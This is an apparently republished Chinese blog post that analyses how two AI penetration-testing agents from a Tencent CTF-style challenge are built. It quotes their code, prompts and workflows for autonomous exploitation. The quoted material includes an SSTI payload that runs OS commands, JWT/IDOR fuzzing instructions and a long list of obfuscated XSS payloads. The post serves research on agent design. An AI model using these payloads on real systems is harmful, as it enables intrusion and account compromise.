文章总结: 文章拆解腾讯智能挑战赛TopAgent架构,对比xjtuHunter与Antix。前者注入专家经验实现高效渗透但易过拟合,后者利用MCP协议与SOP追求通用性。作者指出当前Agent多针对靶场定制,建议未来应转向具备通用逻辑的实战派,通过场景塑造与标准化工具提升AI在真实业务中的渗透能力。 综合评分: 90 文章分类: 渗透测试,AI安全,代码审计
解密腾讯智能挑战赛:Top排名Agent架构深度拆解
李白你好
2026年2月5日 23:12 青海
以下文章来源于糖心Blog ,作者77
糖心Blog .
安全Agent开发笔记
去年腾讯智能渗透挑战赛,看到”长亭”和”胡博”领先,排到了第一第二的位置。刚好比赛后会公开项目的代码
📌 Note:长亭没公开代码,所以直接学习胡博代码即可,毕竟都是同一家公司。
文章主要是分析参赛agent项目的实现,这里选择了两个我比较感兴趣的,分别是”xjtuHunter”和”Antix”的Agent。
虽然比赛主打“零人工干预”,但深入代码后,我发现了一个值得玩味的现象——“过拟合”。
很多高分策略看起来像是为了 Xbow 靶场量身定制的“标准答案”。这引发了我对新一代 Agent 设计的思考:
❔ 如果 Agent 只是“背题库”,一旦切换到真实业务系统,策略是否会失效?
🚀 如何从“做题家”进化为具备通用逻辑的“实战派”?
这或许才是大模型能力之外,我们需要通过架构解决的核心问题。
🧪 Xbow 题目:Agent 能力的试金石
题目的分析其实清华队伍已经做了,大家可以看看,其实题目也算合理,覆盖了多种漏洞,可以充分考察agent的泛化能力,和自主探索能力,因为可以看到有几个CVE漏洞,在默认模型中不一定会有相关数据。同时在利用的同时还有可以通过大小写绕过等技巧拿到flag
https://github.com/Neuro-Sploit/xbow-validation-benchmarks-statistics
⚔️ xjtuHunter:”专家经验”的工程化设计
🏷️关键词:场景塑造、Prompt工程、CTF针对性优化
1、概念分析:”好的设计,总是心有灵犀”
项目地址:🔗https://github.com/passer-W/ctfSolver
浏览代码时,最让我印象深刻的是它对“场景化(Scenario Shaping)”的理解。其实这个概念在24年paloaltonetworks就有提出,我认为这也是Agent渗透测试必要的前置逻辑。
🔗https://unit42.paloaltonetworks.com/automated-bola-detection-and-ai/
简而言之是通过触发业务场景,把一整套接口打个包给llm进行测试利用,paloaltonetworks的方案更加简单,替换了ui测试的阶段,直接通过api接口构建测试场景,当然这样更高效。
其实国内的apifox也有类似的实现,也是通过一套场景化的接口进行测试
🔗https://mp.weixin.qq.com/s/1I2x0dCkRpXSvF2FUXazZg
当然这也是趋势和一个固定的导向,大模型思维模式可能不会那么和人类似,但是一整套因果流程会让LLM分析更加流畅
2、代码解密:ChatBot与“保姆级”引导
虽然比赛要求“零人工干预”,但xjtuHunter选择将人工经验(Human Expertise) 预先注入到 Prompt 中。
🔗https://github.com/passer-W/ctfSolver/blob/master/agent/utils/chatbot.py
🤖 chat函数分析 : 核心推理引擎
负责内容:
- 1. 📂 从数据库加载对话历史(Context)
- 2. ⚡ 调用 LLM API(兼容 OpenAI 格式)
- 3. 💾 将 AI 的回复持久化保存到数据库
def chat(prompt: str, session_id: str, status: str="default", _type="action", type="normal", limit=10000) -> str:
"""
与AI进行对话,并保存对话历史
"""
conn = sqlite3.connect(config.DB_PATH)
cursor = conn.cursor()
# -------------------------------------------------------
# 1. 上下文构建:从 SQLite 读取历史消息
# -------------------------------------------------------
result = SQLiteHelper.execute_query('''
SELECT role, content
FROM messages
WHERE session_id = ?
ORDER BY created_at ASC
''', (session_id,))
messages: List[Dict[str, str]] = []
for role, content in result:
# 简单的上下文截断策略
iflen(content) < limit:
messages.append({"role": role, "content": content})
else:
messages.append({
"role": role,
"content": content[:limit] + "...(内容过长,无法全部输出)"
})
# -------------------------------------------------------
# 2. 模型推理:调用 OpenAI 兼容接口 (DeepSeek/Tencent 等)
# -------------------------------------------------------
client = openai.OpenAI(
api_key=config.API_KEY iftype == "normal"else config.GLM_API_KEY,
base_url=config.API_URL iftype == "normal"else config.GLM_URL
)
# 重试机制 (简单实现)
chat_count = 0
whileTrue:
try:
response = client.chat.completions.create(
model=config.API_MODEL_ACTION iftype == "normal"else config.GLM_MODEL,
messages=[
{"role": "system", "content": prompt} # 系统提示词
] + messages # 历史对话
)
ai_response = response.choices[0].message.content
break
except Exception as e:
print(e)
time.sleep(10)
chat_count += 1
if chat_count > 20: break# 防止无限重试
# -------------------------------------------------------
# 3. 记忆持久化:保存 AI 回复
# -------------------------------------------------------
cursor.execute('''
INSERT INTO messages (session_id, role, content, status)
VALUES (?, ?, ?, ?)
''', (session_id, "assistant", ai_response, status))
conn.commit()
conn.close()
# -------------------------------------------------------
# 4. 服务端同步:将消息推送到后端 Web 界面
# -------------------------------------------------------
history_data = {
"session_id": session_id,
"content": ai_response,
"timestamp": int(time.time()),
"type": _type
}
interact_with_server("history_update", session_id, history_data)
return ai_response
📥 Add_message 函数 : 记忆输入
负责将用户的输入(或工具执行结果)保存到记忆库中,供下一次 chat 调用使用。
def add_message(message: str, session_id:str="", status: str="default"):
ifnot session_id:
session_id = generate_sessionid("")
# 检查进程状态(是否被暂停)
check_process_status(session_id)
# 保存用户消息/工具结果到数据库
SQLiteHelper.insert_record("messages", {
"session_id": session_id,
"role": "user",
"content": message,
"status": status
})
# 同步到前端界面
history_data = {
"agent_id": config.AGENT_ID,
"session_id": session_id,
"content": message,
"timestamp": int(time.time()),
"type": "user"
}
interact_with_server("history_update", session_id, history_data)
return session_id
🌳 generate_sessionid : 对话树管理
def generate_sessionid(session_id=""):
new_session_id = str(uuid.uuid4())
if session_id:
# 如果提供了父ID,记录父子关系(构建对话树)
SQLiteHelper.insert_record("sessions", {
"session_id": new_session_id,
"parent_id": session_id
})
else:
# 根会话
SQLiteHelper.insert_record("sessions", {
"session_id": new_session_id,
"parent_id": None
})
return new_session_id
3、重点核心:重点提示词
当然,光看这些肯定是不够的,对与垂域的agent很大程度需要看输入端,对于领域的理解,这也是各大agent厂商不断在竞争的一部分
🔗https://github.com/passer-W/ctfSolver/blob/master/agent/agents/vulns/IDOR.py
这里拿一个简单例子,可以看到提示词内基本是直接提到了答案,在[xx/order/{FUZZ}/archive](http://xx/order/{FUZZ}/archive)处进行fuzz,亦或者对于jwt进行测试的步骤等等等等
import base64
import traceback
from hmac import new
import json
from operator import ne
from addons import request
import concurrent.futures
from threading import Lock
from config import config
prompt_detect = """
你在进行IDOR漏洞利用,你需要分析当前页面与传入参数关系,哪个参数可能控制不安全的信息泄漏。你可以根据参数类型进行以下测试:
1. 普通数字型参数,如id=1,可以尝试修改为其他数字,查看网页响应是否改变
2. 综合利用,如果你发现多个参数之间存在某些关系,比如userid与cookie中的某个值相同,也可以直接进行两者的同时修改,此时你可以直接调用request工具进行手工测试
3. 对于GraphQL端点,可以修改相应参数进行测试
4. 禁止直接对PHPSESSID参数进行测试
你必须遵循以下规则:
* 如果当前请求中需要测试的参数同样在jwt令牌中出现,请同时修改jwt令牌与需要测试的参数
* 进行IDOR测试的数据必须在请求包中存在,比如传入的是username和password,不可以测试不存在的user_id,如果测试的参数在原请求包中未找到,则停止测试。
* 可以对数字型ID参数进行IDOR测试,也可以对路径中的用户名等参数进行测试
* 模糊测试的参数应综合考虑已获取的信息与原参数,进行一定范围内的模糊测试,测试范围必须尽可能大,范围需要设置为包含500个可能数值,上下界根据已有的参数值确定,需要在已有参数附近
* 模糊测试会返回:响应:[获取该同样响应的载荷]
* 你可以对多个端点进行测试,分步完成各个端点的测试
你可以进行如下工具调用:
<tool>
<request><![CDATA[插入{FUZZ}标签后的request,json格式]]></request>
<value>需要进行模糊测试的参数值范围(可以是逗号连接的多个值,也可以是数值型范围,如1-100)</value>
<type>normal</type>
</tool>
如果需要fuzz测试jwt令牌里的值,需要进行如下工具调用:
<tool>
<request><![CDATA[插入{FUZZ}标签后的request,即把jwt令牌的值变为{FUZZ}]]></request>
<token>jwt令牌原值</token>
<param>需要进行fuzz的jwt令牌里的参数名</param>
<value>需要进行模糊测试的参数值范围(可以是逗号连接的多个值,也可以是数值型范围,如1-100)</value>
<type>jwt</type>
</tool>
fuzz标签指的是在正常request请求中相应位置插入需要fuzz的标签,如:
{"url": "http://xx/order/{FUZZ}/archive", "method": "GET", "header": {"Content-Type": "application/json", "Cookie": "xxx"}, "params": {}, "files": {}}
fuzz标签可以插在任意位置
注意:
* 如果有archive端点和receipt端点,优先对archive端点进行idor测试。
"""
defneed_detect(request_json):
returnTrue
defsimple_detect(request_json, response, param=None):
if"type"in param:
if param['type'] == 'jwt_decode':
# 从请求中获取JWT令牌
token = param['token']
try:
# 将JWT令牌分割成三部分
header_b64, payload_b64, signature = token.split('.')
# 解码header和payload
# 补全base64字符串
defpad_base64(s):
.............................
这里可以拿另一个例子,
🔗https://github.com/passer-W/ctfSolver/blob/master/agent/agents/master.py
rom utils import page_helper
from utils.chatbot import add_message, chat
from addons import request
prompt_template = """
你是一个漏洞挖掘大师,你可以根据历史使用的工具链和网页响应信息来构造精妙的参数绕过服务端的某些限制,漏洞类型不限于XSS、XXE、SSTI等,绕过的可能是服务端过滤、WAF或RASP等拦截器。
我会提供给你一次请求的请求包和响应包及可能的分析,你需要识别参数和漏洞类型并给出绕过方案,你可以调用网络请求来实现验证。
你必须遵循以下方式进行绕过:
1)SSTI漏洞,如果对{{进行拦截,需要先不传入{{进行测试,比如如果原始载荷是{{a*b}}被拦截,可以先传入a*b,观察页面是否返回特定结果(与a*b相关,并不一定是直接返回,可能是出现a*b相关的数据,可以进一步分析确认),以确定后端的配置,先从1*1开始
同时,一些常见的绕过策略有:{绕过:(self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read())
注意:
1. 你需要按照以下格式进行推理生成绕过方案:
1)本次请求的请求包中xx参数可能存在xx漏洞,根据提示信息发现存在xx限制
2)xx限制可以通过xx、xx、xx方式绕过,我将依次尝试
3)我此次构造的参数载荷为xxx,我需要写一个python脚本来验证是否存在xx漏洞(不仅要获取响应,还需要有判断漏洞是否存在的判断语句,最后将所有结果打印):
<tool>
<name>run_python</name>
<value>
需要执行的python代码
</value>
</tool>
4)请告诉我这次代码执行的结果
2. 你可以进行多轮绕过,请根据前几轮次的结果综合分析接下来选择的绕过策略
3. 当你认为绕过成功后,请进行总结,总结格式如下:
<summary>
<type>简述绕过的方式</type>
<payload>绕过的载荷</payload>
</summary>
4. 当你认为当前请求没有必要继续构造绕过,请返回如下总结:
<summary>
<type>没有绕过的原因</type>
<payload>尝试过但没有成功的载荷</payload>
</summary>
5. 必须严格遵守xml规范给出相关信息,特殊字符采用<!CDATA
6. 你必须遵循当前的漏洞检测思路进一步利用,跟当前利用的漏洞类型保持一致,比如之前利用的是sql注入漏洞,现在也应该继续探索sql注入漏洞的绕过方式,请勿改变测试的漏洞类型
7. 一次只能调用一种工具
亦或者更多的xss测试payload
🔗https://github.com/passer-W/ctfSolver/blob/master/agent/config/knowledge/get_flag/xss
用于解决XSS漏洞后利用获取FLAG
提供一些payload:
<a href="javascript:alert('test')">link</a>
<a href="javascript:alert('xss')">link</a>
<a href='vbscript:MsgBox("XSS")'>link</a>
<a href="vbscript:alert(1)">Hello</a>
<a href="vbscript:alert(1)">Hello</a>
<a href=javascript:alert("XSS")>link</a>
<a href=`javascript:alert("RSnake says,'XSS'")`>link</a>
<a href=javascript:alert(String.fromCharCode(88,83,83))>link</a>
<a href="javascript:alert(1)">link</a>
<a href="javaSCRIPT:alert(1)">Hello</a>
<a href="javasc
ript:alert(1)">link</a>
<a href="javas	cript:\u0061lert(1);">Hello</a>
<a href="jav ascript:alert('XSS')">link</a>
<a href="jav	ascript:alert('XSS')">link</a>
<a href="jav
ascript:alert('XSS')">link</a>
<a href="  javascript:alert('XSS');">link</a>
<a href="javascript:\u0061lert(1)">Hello</a>
<a href="javascript:confirm`1`">link</a>
<a href="javascript:confirm(1)">link</a>
<a href="j	a	vas	c	r	ipt:alert(1)">1</a>
<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>
<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
<a href=javascript:eval("alert('xss')")>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href=javascript:alert('XSS')>link</a>
<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a>
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
💡 深度思考 有人可能会觉得这是一种“针对性优化”(Overfitting)。但从工程角度看,这其实是一种高效的“专家经验固化”。 在特定领域(如CTF或特定业务线),将已知的攻击路径硬编码到Prompt中,能大幅减少LLM的幻觉和无效尝试。 当然,这种方式在面对完全未知的全新场景时,可能不如通用Agent灵活,这正是我们需要权衡的地方。
当然,这种做法看似“作弊”,但在企业安全建设(SDL)或特定扫描场景中,这其实就是“白盒思维”的体现——将已知的高频攻击路径固化在 Prompt 里,比让 LLM 漫无目的地瞎猜要高效得多。
🧩 Antix:Be simple. Be incredible.
🏷️关键词:MCP协议、SOP工作流、通用性
1、概念分析:释放LLM的通用潜力
我非常喜欢淚笑师傅的这个项目,它完美诠释了 “Be simple. Be incredible.”
其实参加比赛的项目都大致看过,大都基于多agent框架,每个agent分工明细,看起来构建了一个非常完善的体系。但是站在Agent的角度真需要这么多分工嘛?
其实我不是很喜欢让Agent进行分工。对于人工,每个人都有自己的专向,每个人负责不同的方向,这无可厚非,一个实验室有代码审计的,有免杀的。
👥 对于人工,每个人都有自己的专向(代码审计、免杀等),这无可厚非。
🤖 但作为 LLM,一个通用的大语言模型,它更像是一个全面的个体。过于分工可能会阻碍大模型的能力发挥。
这揭示了一个真相:当前大模型能力的瓶颈往往不在于推理,而在于上下文的割裂。
传统的 DAG 结构或多 Agent 框架容易导致信息在流转中丢失,而 Antix 利用 MCP 协议将工具标准化,让 Claude 一个模型“贯穿始终”,最大程度保留了渗透测试中的“直觉”和上下文关联。
回到Antix的项目,可以看到在demo项目中只是简单的使用mcp控制沙箱和编写了Toolset工具,那么为什么会有这么好的效果呢,直接来看详细代码吧。
2、代码解密:SOP即代码-Codeact模式
项目代码非常简单,
tinyctfer/
├── tinyctfer.py # [核心入口] 宿主机上的主控程序,负责编排 Docker
├── pyproject.toml # Python 依赖管理 (主要依赖 docker SDK)
├── uv.lock # 依赖锁定文件
├── README.md # 说明文档
├── claude_code/ # [配置注入] 挂载到容器内的配置脚本
│ └── wait.sh # 等待 MCP 服务启动的健康检查脚本
└── meta-tooling/ # [核心逻辑] 似乎是构建 Docker 镜像时的核心组件(也可以用于本地调试)
├── service/ # MCP 服务端代码
│ ├── python_executor_mcp.py # [关键] Python 代码执行器 MCP 服务
│ └── browser.py # 浏览器控制相关代码
└── toolset/ # 工具集定义
└── src/ # 具体工具实现
从工程实现看,Antix采用了极致的”胶水代码”哲学:Python脚本仅负责搭建Docker舞台,真正的Agent逻辑(Claude Code + MCP Server)被封装在镜像中。这种设计虽然简洁,但在实际运行中暴露出上下文管理问题——LLM在多次测试中会出现策略漂移,同一个会话的 exploit 代码在第二次测试时可能产生不同结果,这正是过度依赖LLM自主性的代价。
那么还有个好处是什么呢,我们知道agent会执行代码,那么也能编排代码去创建agent,那么刚好可以淚笑师父的另一个项目,一种通过编排python代码创建子agent的方式 🔗https://github.com/l3yx/intentlang
📝 SOP (标准作业程序):点睛之笔
由于提供是几个核心工具,所以提示词尤为重要,当然,项目做到了足够的泛化能力,并没有像xjtuHunter的师傅们的那么”过拟合”
🔗https://github.com/chainreactors/tinyctfer/blob/main/claude_code/.claude/agents/security-ctf-agent.md
从提示词可以看到,只是做了工具调用的展示,和SOP的工作流。
All tools are wrapped in the Python library `toolset`. Example usage for each tool:
1.**Browser Operations:**
`context = await toolset.browser.get_context()` — Retrieves a Playwright-Python `BrowserContext`
import toolset
Get the context and page objects
context = await toolset.browser.getcontext() if context.pages: page = context.pages[0] else: page = await context.newpage()
Visit a specified webpage
await page.goto(“http://example.com”)
Get snapshot and interact with elements
print(await page.locator(“html”).ariasnapshot()) await page.getby_role(“link”, name=”Learn more”).click()
Get webpage source code
print(await page.content())
Listen to and capture console messages (when testing XSS, you can use console.log, it’s better not to use alert)
page = await context.newpage() msgs = [] async def handleconsole(msg): msgs.append(msg) page.on(“console”, handle_console) await page.goto(“http://example.com”) await page.evaluate(“console.log(1);”) await page.close() print(msgs)
....................
**Web Penetration Standard Operating Procedure (SOP) - No Steps Can Be Skipped:**
1.**Open browser to access login/homepage → Inspect traffic**
2.**View page source code → Extract JS/API/comments**
3.**Test normal functionalities (login, search, upload) → Inspect traffic at every step**
4.**Only after confirming no hidden logic in traffic, proceed to run automated tools (nuclei/ffuf)**
5.**If automated tools find no vulnerabilities, continue exploring website functionalities, infer vulnerabilities from a functional perspective. Vulnerabilities include but are not limited to: XSS, SSTI, IDOR, SQL injection, LFI, command injection, SSRF, deserialization, XXE, authorization bypass, authentication bypass, race conditions, path traversal**
😊 “好的设计,总是心有灵犀”
诶,那么为什么说是”好的设计,总是心有灵犀”,我们可以详细的查看SOP这一部分的提示词,触发浏览器点击获取流量->从CAIDO获取最近的流量。那么默认就有了一个场景渗透的概念,Agent不会只依据单个流量进行分析,而是一整套流程的流量进行分析。
**Web渗透测试标准操作流程 (SOP) - 不可跳过任何步骤:**
1. **打开浏览器访问登录/首页 → 检查流量**
2. **查看页面源代码 → 提取JS/API/注释**
3. **测试常规功能(登录、搜索、上传)→ 检查每一步的流量**
4. **仅在确认流量中不存在隐藏逻辑后,才运行自动化工具(nuclei/ffuf)**
5. **如果自动化工具未发现漏洞,则继续探索网站功能,从功能角度推断漏洞。漏洞包括但不限于:XSS、SSTI、IDOR、SQL注入、LFI、命令注入、SSRF、反序列化、XXE、授权绕过、身份验证绕过、竞争条件、路径遍历**
✨ “Be simple. Be incredible.”
我很喜欢 Agent 的研发,因为这不仅是写代码,更像是在设计一种新的“数字生命”的思考方式。
可以看到很多安全部门或是安全公司还在使用dify设计冗长的工作流,亦或者使用同质化的RAG产品赋能wiki等试图抢占市场,我相信在当下更应该是去设计一套有主观能动性的Agent,通过深挖特定垂域的价值来建立壁垒。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:李白你好 《解密腾讯智能挑战赛:Top排名Agent架构深度拆解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论